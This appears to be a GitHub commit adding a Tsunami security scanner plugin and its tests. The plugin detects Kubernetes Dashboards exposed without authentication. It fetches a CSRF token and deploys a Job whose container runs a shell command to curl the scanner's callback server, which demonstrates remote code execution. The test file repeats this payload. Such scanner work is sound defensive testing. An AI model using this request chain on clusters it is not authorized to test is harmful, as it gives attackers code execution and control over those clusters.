Skip to content

Commit 849bf5c

Browse files
Merge pull request #670 from JamesFoxxx:k8s-dashboard
PiperOrigin-RevId: 816646357 Change-Id: Ic5718a78593f85881c1d225725db351548e2dc80
2 parents 265af55 + 9ac3977 commit 849bf5c

File tree

3 files changed

+232
-0
lines changed

3 files changed

+232
-0
lines changed

.gitignore

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,9 @@ gradle.properties
44
.gradle
55
local.properties
66
out
7+
gradlew
8+
gradlew.bat
9+
gradle/
710

811
# IntelliJ IDEA
912
.idea
Lines changed: 136 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,136 @@
1+
# proto-file: proto/templated_plugin.proto
2+
# proto-message: TemplatedPlugin
3+
4+
###############
5+
# PLUGIN INFO #
6+
###############
7+
8+
info: {
9+
type: VULN_DETECTION
10+
name: "K8s_ExposeUI"
11+
author: "jamesFoxxx"
12+
version: "1.0"
13+
}
14+
15+
finding: {
16+
main_id: {
17+
publisher: "GOOGLE"
18+
value: "K8S_EXPOSED_UI"
19+
}
20+
severity: CRITICAL
21+
title: "Exposed Kubernetes Dashboard"
22+
description: "Kubernetes Dashboard is exposed to the internet without proper authentication, allowing remote code execution. This vulnerability can lead to unauthorized access and control over the Kubernetes cluster."
23+
recommendation: "Don't Expose the Kubernetes Dashboard to the Internet. If you must expose it, ensure that proper authentication and authorization mechanisms are in place. Regularly update your Kubernetes components to mitigate known vulnerabilities."
24+
}
25+
26+
config: {}
27+
28+
###########
29+
# ACTIONS #
30+
###########
31+
32+
actions: {
33+
name: "is_kubernetes_dashboard"
34+
http_request: {
35+
method: GET
36+
uri: "/api/v1/namespace"
37+
response: {
38+
http_status: 200
39+
expect_all: {
40+
conditions: [
41+
{ body: { } contains: "\"name\": \"kubernetes-dashboard\"," }
42+
]
43+
}
44+
}
45+
}
46+
}
47+
48+
actions: {
49+
name: "retrieve_csrftoken"
50+
http_request: {
51+
method: GET
52+
uri: "/api/v1/csrftoken/appdeploymentfromfile"
53+
response: {
54+
http_status: 200
55+
expect_all: {
56+
conditions: [
57+
{ body: {} contains: "\"token\": \"" }
58+
]
59+
}
60+
extract_all: {
61+
patterns: [
62+
{
63+
from_body: {}
64+
regexp: "\\\"token\\\": \\\"([a-zA-Z0-9_:-]+)\\\""
65+
variable_name: "csrftoken"
66+
}
67+
]
68+
}
69+
}
70+
}
71+
}
72+
actions: {
73+
name: "trigger_code_execution"
74+
http_request: {
75+
method: POST
76+
uri: "/api/v1/appdeploymentfromfile"
77+
headers: [
78+
{ name: "X-CSRF-TOKEN" value: "{{ csrftoken }}" },
79+
{ name: "Content-Type" value: "application/json" }
80+
]
81+
data: '{"name":"","namespace":"default","content":"apiVersion: batch/v1\\nkind: Job\\nmetadata:\\n name: tsunami-security-scanner-job\\n labels:\\n app: curl-example\\nspec:\\n template:\\n metadata:\\n labels:\\n app: curl-example\\n spec:\\n containers:\\n - name: curl-container\\n image: curlimages/curl:latest\\n command: [\\"/bin/sh\\", \\"-c\\"]\\n args:\\n - |\\n curl -s {{ T_CBS_URI }} || exit 0\\n restartPolicy: OnFailure\\n backoffLimit: 3\\n completions: 1","validate":true}'
82+
response: {
83+
http_status: 201
84+
}
85+
}
86+
cleanup_actions: "cleanup_job"
87+
}
88+
89+
actions: {
90+
name: "cleanup_job"
91+
http_request: {
92+
method: DELETE
93+
uri: "/api/v1/_raw/job/namespace/default/name/tsunami-security-scanner-job"
94+
response: {
95+
http_status: 200
96+
}
97+
}
98+
}
99+
actions: {
100+
name: "initial_cleanup_job"
101+
http_request: {
102+
method: DELETE
103+
uri: "/api/v1/_raw/job/namespace/default/name/tsunami-security-scanner-job"
104+
}
105+
}
106+
actions: {
107+
name: "sleep"
108+
utility: { sleep: { duration_ms: 10000 } }
109+
}
110+
actions: {
111+
name: "sleep_for_job_delete"
112+
utility: { sleep: { duration_ms: 2000 } }
113+
}
114+
115+
actions: {
116+
name: "check_callback_server_logs"
117+
callback_server: { action_type: CHECK }
118+
}
119+
120+
121+
#############
122+
# WORKFLOWS #
123+
#############
124+
125+
workflows: {
126+
condition: REQUIRES_CALLBACK_SERVER
127+
actions: [
128+
"is_kubernetes_dashboard",
129+
"initial_cleanup_job",
130+
"sleep_for_job_delete",
131+
"retrieve_csrftoken",
132+
"trigger_code_execution",
133+
"sleep",
134+
"check_callback_server_logs"
135+
]
136+
}
Lines changed: 93 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,93 @@
1+
# proto-file: proto/templated_plugin_tests.proto
2+
# proto-message: TemplatedPluginTests
3+
4+
config: {
5+
tested_plugin: "K8s_ExposeUI"
6+
}
7+
8+
tests: {
9+
name: "whenVulnerable_returnsTrue"
10+
expect_vulnerability: true
11+
12+
mock_callback_server: {
13+
enabled: true
14+
has_interaction: true
15+
}
16+
17+
mock_http_server: {
18+
mock_responses: [
19+
{
20+
uri: "/api/v1/namespace"
21+
status: 200
22+
body_content: "\"name\": \"kubernetes-dashboard\","
23+
},
24+
{
25+
uri: "/api/v1/csrftoken/appdeploymentfromfile"
26+
status: 200
27+
body_content: "\"token\": \"TIM-HcANnZ3XwpXVB9D745jtuYo:1753310053154\""
28+
},
29+
{
30+
uri: "/api/v1/appdeploymentfromfile"
31+
status: 201
32+
condition: {
33+
headers: [
34+
{ name: "X-CSRF-TOKEN" value: "TIM-HcANnZ3XwpXVB9D745jtuYo:1753310053154" },
35+
{ name: "Content-Type" value: "application/json" }
36+
]
37+
body_content:[
38+
'{"name":"","namespace":"default","content":"apiVersion: batch/v1\\nkind: Job\\nmetadata:\\n name: tsunami-security-scanner-job\\n labels:\\n app: curl-example\\nspec:\\n template:\\n metadata:\\n labels:\\n app: curl-example\\n spec:\\n containers:\\n - name: curl-container\\n image: curlimages/curl:latest\\n command: [\\"/bin/sh\\", \\"-c\\"]\\n'
39+
]
40+
}
41+
},
42+
{
43+
uri: "/api/v1/_raw/job/namespace/default/name/tsunami-security-scanner-job"
44+
status: 200
45+
}
46+
]
47+
}
48+
}
49+
50+
tests: {
51+
name: "whenNoCallback_returnsFalse"
52+
expect_vulnerability: false
53+
54+
mock_callback_server: {
55+
enabled: true
56+
has_interaction: false
57+
}
58+
59+
mock_http_server: {
60+
mock_responses: [
61+
{
62+
uri: "/"
63+
status: 200
64+
body_content: "<title>Kubernetes Dashboard</title>"
65+
},
66+
{
67+
uri: "/api/v1/appdeploymentfromfile"
68+
status: 200
69+
body_content: "\"token\": \"TIM-HcANnZ3XwpXVB9D745jtuYo:1753310053154\""
70+
}
71+
]
72+
}
73+
}
74+
75+
tests: {
76+
name: "whenNotK8s_returnsFalse"
77+
expect_vulnerability: false
78+
79+
mock_callback_server: {
80+
enabled: true
81+
has_interaction: true
82+
}
83+
84+
mock_http_server: {
85+
mock_responses: [
86+
{
87+
uri: "TSUNAMI_MAGIC_ANY_URI"
88+
status: 200
89+
body_content: "Hello world"
90+
}
91+
]
92+
}
93+
}

0 commit comments

Comments
 (0)